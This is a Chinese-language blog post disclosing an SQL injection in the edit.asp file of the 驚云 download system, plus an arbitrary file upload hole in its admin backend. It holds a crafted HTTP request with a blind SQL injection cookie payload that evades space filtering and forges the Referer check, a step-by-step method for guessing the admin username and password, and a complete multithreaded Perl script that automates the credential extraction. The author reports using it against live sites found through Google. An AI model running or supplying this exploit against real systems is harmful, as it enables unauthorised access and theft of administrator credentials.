日歷
| 日 | 一 | 二 | 三 | 四 | 五 | 六 |
---|
26 | 27 | 28 | 29 | 30 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 1 | 2 | 3 | 4 | 5 | 6 |
|
統計
- 隨筆 - 74
- 文章 - 57
- 評論 - 7
- 引用 - 0
導航
常用鏈接
留言簿(5)
隨筆分類
隨筆檔案
文章分類
文章檔案
相冊
顏色
搜索
最新評論

閱讀排行榜
評論排行榜
|
驚云下載系統edit.asp文件存在SQL注入漏洞,后臺存在任意文件上傳漏洞 驚云下載系統以前有個漏洞好象在user.asp,不知現在修補沒有。本人這次和大家講件edit.asp文件的漏洞,一來發布一個 漏洞,二教教大家如何發現和利用漏洞。我一行一行解釋。 <% user=Request.cookies("JyDownUserName") '取得用戶COOKIE并存入USER變量
if user<>"" then user=replace(user," ","+++ close") '給USER變量替換空格 else response.write("<li>您沒有進入本頁面的權限,本次操作已被記錄!<br><li>如果你是本站會員請先<a href=login.asp target=_top>登陸</a>后進入.") response.end end if '上面判斷COOKIE是否為空,空則跳轉,等會我們構造COOKIE欺騙,讓JyDownUserName這個COOKIE值不為空,至于為多少,等會說。
server_vv=len(Request.ServerVariables("SERVER_NAME")) server_v1=left(Cstr(Request.ServerVariables("HTTP_REFERER")),server_vv) server_v2=left(Cstr("http://"&Request.ServerVariables("SERVER_NAME")),server_vv) if server_v1<>server_v2 and server_v1<>"" and server_v2<>"" then response.write("<script>alert('錯誤:禁止從站點外部提交數據!.')</script>") response.end end if '上面判斷網頁是否是從瀏覽器點擊而進入的,我們同樣可以偽造是這個地方為真,再此不再贅述 %>
<!--#include file="mdb_path_user.asp"--> <!--#include file="char.inc"--> <!--#include file="config.asp"--> '上面是頭文件包含,沒什么用,忽略就行了
<% pwd=replace(request.form("pwd")," ","+++ close") set rs=server.CreateObject("ADODB.RecordSet") rs.open "select * from UserInfo where user='"&user&"'",conn,1,2 '關鍵的一句注入點,因為user=replace(Request.cookies("JyDownUserName"),," ","+++ close"),很明顯沒有過濾單引號 if rs.eof then JyDownMsg="錯誤:"&user&"用戶資料讀取錯誤,請重新登陸!" '注入條件判斷語句,沒有它都不能確定是否成功,返回此句代表失敗 else if request("type")="save" then if pwd="" then JyDownMsg="錯誤:要修改資料必需填寫原密碼!" else if pwd<>rs("pwd") then JyDownMsg="錯誤:原密碼錯誤!" '注入條件判斷語句,沒有它都不能確定是否成功,返回此句代表成功,至于為什么我真得無法用語言表達了,還是自己想吧。這句以下已經沒有意義了。解釋至此 else qm=htmlencode(request.form("qm")) if len(qm)>250 then JyDownMsg="錯誤:個性簽名多于250個字符!" else .........
好了,已經知道注入的地方,而且知道成功的標志,同時知道表的結構(網上可以找到嘛),便可以利用了。 到底如何利用呢?當然最好是搞定管理員的用戶和密碼拉。
我用WSE抓包后,整理如下(以我自己的機器做實驗)
POST /admin/edit.asp HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */* 1 Referer: http://localhost/ Accept-Language: zh-cn Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; MyIE2) Host: localhost Content-Length: 125 Connection: Keep-Alive cache-Control: no-cache 2 Cookie:iscookies=0; JyDownUserDj=0; JyDownUserName=aaaaaaaa'%09union%09select%09*%09from%09userinfo%09where%09id%3D1%09and%09len(pwd)%3D1%09and%09'1%3D1
type=save&pwd=tttttt3333tttt&pwd1=&pwd2=&oicq=33337788&email=fsadf@fsf.com&homepage=&qm=&softurl=&b1=%C8%B7%C8%CF%D0%DE%B8%C4
上面兩處是需要注意的,有序號。其他地方隨便添,按照我上面的就行了。
1處是為了逃避上面講到的防網頁不是從點擊近來的,把這個值設為網址就行了,沒什么好講的。 2處是最關鍵的,我上面提到了COOKIE欺騙,這里不但要欺騙還有注入。
JyDownUserName這個值我們把它設為了 aaaaaaaa' union select * from userinfo where id=1 and len(pwd)=1 and '1=1 這個。上面是經過編碼的。其中%09是TAB鍵的編碼,為了躲過空格過濾。它和空格是等價的,真的謝謝MS工程師開發軟件總是為用戶著想,生怕功能不強。 程序作者只過濾了空格欠考慮。
把上面的值代入到原程序總就變為了(應該學過代數啊,呵呵) select * from UserInfo where user='aaaaaaaa' union select * from userinfo where id=1 and len(user)=1 and '1=1'
那個a串沒什么意義,就是為了使前面語句為假,沒有這個用戶就行了,可以是任意特殊字符串。后面的SELECT是重點。 ID=1是猜id為1的用戶,其實就是管理員用戶。不過有的管理員可能改了,那就不靈了。猜他的長度是不是1。 很顯然是1可能性很小,不要緊,猜錯了,會返回“錯誤:....用戶資料讀取錯誤,請重新登陸!”中間省了一部分。 我們把語句換成 select * from UserInfo where user='aaaaaaaa' union select * from userinfo where id=1 and len(user)=2 and '1=1' 返回“錯誤:....用戶資料讀取錯誤,請重新登陸!”,看來用戶名長度也不是2,再換。
換到5是返回 "錯誤:原密碼錯誤!",看來用戶名長度就是5了。同樣方法猜出密碼長度7。
該猜字符。 select * from UserInfo where user='aaaaaaaa' union select * from userinfo where id=1 and asc(mid(user,1,1)=40 and '1=1' 上面的語句大家能看懂吧?用mid函數是截取一個字符,然后轉換成ASCII碼,再和40比較。返回錯誤,說明user的第一個字符ASCII值不是40。
猜到97的時候返回"錯誤:原密碼錯誤!",說明用戶名第一個字符是a 。
以此類推,猜出user是admin,pwd是abcdefg.管理員的用戶密碼猜出來了。
上面的過程顯然不可能手工輸入和猜測,必須依靠工具。現成的也沒有這種工具,鄙畢人就抽了寶貴的打牌(QQ升級)時間了寫了個程序,很快就猜出來了。上面是方法。
我用我寫的程序在網上實驗,真是無往不利。就是在GOOGLE上搜驚云系統,管理員很快猜出來了。
我登陸一個網站后,發現有個地方可以上傳文件。我回過頭讀源代碼,發現了和動網一樣的文件上傳漏洞,都是在路徑上沒做檢查,允許遠程命名文件名。
我抓包,提交,恩,成功。順便又寫了個腳本。這個漏洞沒什么好講的,還是看動畫怎么做吧。
|
| 下面事猜管理員密碼的源代碼
#!/usr/bin/perl
use IO::Socket; use threads;
$lhost = $ARGV[0];#主機IP
$port = $ARGV[1];#端口號,默認80
$path = $ARGV[2];
$id = $ARGV[3];
$mod = $ARGV[4];
$char = $ARGV[5];
$argv_len=@ARGV;
if($argv_len<=4) { usage(); exit(); }
if($mod==0) { get_user_len($id); get_pwd_len($id); }
elsif($mod==1) { #get_user($id,$char); my $i; for($i=1;$i<=$char;$i++) { $t[$i]=threads->new(\&get_user,$id,$i); } for($i=1;$i<=$char;$i++) { $t[$i]->join(); } } elsif($mod==2) { #get_pwd($id,$char);
my $i; for($i=1;$i<=$char;$i++) { $t[$i]=threads->new(\&get_pwd,$id,$i); } for($i=1;$i<=$char;$i++) { $t[$i]->join(); }
}
exit();
sub get_user() { my($id,$char_now)=@_; my $aaa=bin_s(0,123,$path,$char_now,$id); print "The $char_now char:".chr($aaa)."\n"; }
sub bin_s() { my ($low,$high,$path,$char_now,$id)=@_;
my $lh=($low+$high)/2;
my $aaaa=$lh-int($lh);
my $mid;
if($aaaa>0) { $mid=int($lh)+1; } else { $mid=int($lh); }
my $mid_flag=GetRequest($path,"xxxxxxxx'%09union%09select%09*%0 9from%09userinfo%09where%09id%3D".$id."%09and%09asc(mid(user ,$char_now,1))>".$mid."%09and%09'1%3D1");
my $mid1_flag;
if($mid_flag==0) { $mid1_flag=GetRequest($path,"xxxxxxxx'%09union%09select%09*% 09from%09userinfo%09where%09id%3D".$id."%09and%09asc(mid(use r,$char_now,1))%3D".$mid."%09and%09'1%3D1"); } else { $mid1_flag=0; }
#print "\n low:$low mid:$mid high:$high $mid_flag $mid1_flag char_now:$char_now id:$id";
if($mid_flag==0&&$mid1_flag==1) { return $mid; } elsif($mid_flag==1&&$mid1_flag==0) { bin_s($mid,$high,$path,$char_now,$id); } elsif($mid_flag==0&&$mid1_flag==0) { bin_s($low,$mid,$path,$char_now,$id); }
}
sub get_pwd() { my($id,$char_now)=@_; my $aaa=bin_pwd_s(0,123,$path,$char_now,$id); print "The $char_now char:".chr($aaa)."\n"; }
sub bin_pwd_s() { my ($low,$high,$path,$char_now,$id)=@_;
my $lh=($low+$high)/2;
my $aaaa=$lh-int($lh);
my $mid;
if($aaaa>0) { $mid=int($lh)+1; } else { $mid=int($lh); }
my $mid_flag=GetRequest($path,"xxxxxxxx'%09union%09select%09*%0 9from%09userinfo%09where%09id%3D".$id."%09and%09asc(mid(pwd, $char_now,1))>".$mid."%09and%09'1%3D1");
my $mid1_flag;
if($mid_flag==0) { $mid1_flag=GetRequest($path,"xxxxxxxx'%09union%09select%09*% 09from%09userinfo%09where%09id%3D".$id."%09and%09asc(mid(pwd ,$char_now,1))%3D".$mid."%09and%09'1%3D1"); } else { $mid1_flag=0; }
#print "\n low:$low mid:$mid high:$high $mid_flag $mid1_flag char_now:$char_now id:$id";
if($mid_flag==0&&$mid1_flag==1) { return $mid; } elsif($mid_flag==1&&$mid1_flag==0) { bin_pwd_s($mid,$high,$path,$char_now,$id); } elsif($mid_flag==0&&$mid1_flag==0) { bin_pwd_s($low,$mid,$path,$char_now,$id); }
}
sub get_user_len() { my($id)=@_;
for($user_j=1;$user_j<=30;$user_j++) { $user_flag=GetRequest($path,"xxxxxxxx'%09union%09select%09*% 09from%09userinfo%09where%09id%3D".$id."%09and%09len(user)%3 D".$user_j."%09and%09'1%3D1"); if($user_flag==1){last;} } if($user_j<31) { print "User_length of id $id: $user_j\n"; } else { print "Can't get user length\n"; } return $user_j;
}
sub get_pwd_len() { my($id)=@_; my $user_j,$user_flag; for($user_j=1;$user_j<=30;$user_j++) { $user_flag=GetRequest($path,"xxxxxxxx'%09union%09select%09*% 09from%09userinfo%09where%09id%3D".$id."%09and%09len(pwd)%3D ".$user_j."%09and%09'1%3D1"); if($user_flag==1){last;} } if($user_j<31) { print "Pass_length of id $id: $user_j\n"; } else { print "Can't get password length\n"; } return $user_j; }
sub GetRequest() { my($lpath,$usercookie)=@_; $remote=IO::Socket::INET->new (Proto => "tcp", PeerAddr=>$lhost, PeerPort => $port, Type => SOCK_STREAM) or die "Couldnt connect to $lhost:$port : $@\n"; $remote->autoflush(1);
$content=" type=save&pwd=tttttt3333tttt&pwd1=&pwd2=&oic q=33337788&email=fsadf@fsf.com&homepage=&qm=& ;softurl=&b1=%C8%B7%C8%CF%D0%DE%B8%C4 "; $length=length($content);
$post="POST ".$lpath." HTTP/1.1\r\n". "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*\r\n". "Referer: http://".$lhost.":".$port."/".$path."\r\n". "Accept-Language: zh-cn\r\n". "Content-Type: application/x-www-form-urlencoded\r\n". "Accept-Encoding: gzip, deflate\r\n". "User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; MyIE2)\r\n". "Host: $lhost\r\n". "Content-Length: ".$length."\r\n". "Connection: Keep-Alive\r\n". "Cache-Control: no-cache\r\n". "Cookie:iscookies=0; JyDownUserDj=0; JyDownUserName=".$usercookie."\r\n\r\n". $content;
print $remote $post;
my $flag=0; for($i=1;$i<=40;$i++) { $line=<$remote>; if(index($line,"原密碼錯誤")!=-1) { $flag=1; } } close $remote; return $flag; }
sub usage() { print "$0 host port path id mod char\n"; print "mod 0 用戶名和密碼長度 1 猜用戶 2 猜密碼\n"; print "char 猜測字符位置 1-20"; }
|